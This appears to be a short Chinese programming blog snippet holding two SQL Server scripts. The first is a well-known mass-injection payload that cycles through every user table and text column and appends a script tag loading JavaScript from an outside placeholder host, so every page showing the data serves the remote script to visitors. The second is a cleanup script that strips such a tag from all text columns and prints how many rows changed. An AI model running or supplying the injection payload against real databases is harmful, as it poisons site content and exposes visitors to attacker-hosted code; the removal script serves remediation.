DECLARE @T VARCHAR(255),@C VARCHAR (255) DECLARE Table_Cursor CURSOR FOR SELECT A.Name,B.Name FROM Sysobjects A,Syscolumns B WHERE A.Id = B.Id AND A.Xtype = 'u' AND (B.Xtype = 99 OR B.Xtype = 35 OR B.Xtype = 231 OR B.Xtype = 167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE (@@Fetch_Status = 0) BEGIN EXEC('update [' + @T + '] Set [' + @C + ']=Rtrim(Convert(Varchar(8000),[' + @C + ']))+''<script src=http://需要注入的网址/0.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor Deallocate Table_Cursor
DECLARE @delStr NVARCHAR(500)SET @delStr = '<script src=http://www.test.com/0.js></script>' --要被替换掉字符SET NOCOUNT ONDECLARE @tableName NVARCHAR(100), @columnName NVARCHAR(100), @tbID INT, @iRow INT, @iResult INTDECLARE @sql NVARCHAR(500)SET @iResult = 0DECLARE cur CURSOR FOR SELECT NAME, id FROM sysobjects WHERE xtype = 'U'OPEN curFETCH NEXT FROM cur INTO @tableName,@tbID WHILE @@fetch_status = 0BEGIN DECLARE cur1 CURSOR FOR --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 SELECT NAME FROM syscolumns WHERE xtype IN (231, 167, 239, 175) AND id = @tbID OPEN cur1 FETCH NEXT FROM cur1 INTO @columnName WHILE @@fetch_status = 0 BEGIN SET @sql = 'update [' + @tableName + '] set [' + @columnName + ']= replace([' + @columnName + '],''' + @delStr + ''','''') where [' + @columnName + '] like ''%' + @delStr + '%''' EXEC sp_executesql @sql SET @iRow = @@rowcount SET @iResult = @iResult + @iRow IF @iRow > 0 BEGIN PRINT '表:' + @tableName + ',列:' + @columnName + '被更新' + CONVERT(VARCHAR(10), @iRow) + '条记录;' END FETCH NEXT FROM cur1 INTO @columnName END CLOSE cur1 DEALLOCATE cur1 FETCH NEXT FROM cur INTO @tableName,@tbIDENDPRINT '数据库共有' + CONVERT(VARCHAR(10), @iResult) + '条记录被更新!!!'CLOSE curDEALLOCATE curSET NOCOUNT OFF
SQL
最新推荐文章于 2024-06-29 12:12:59 发布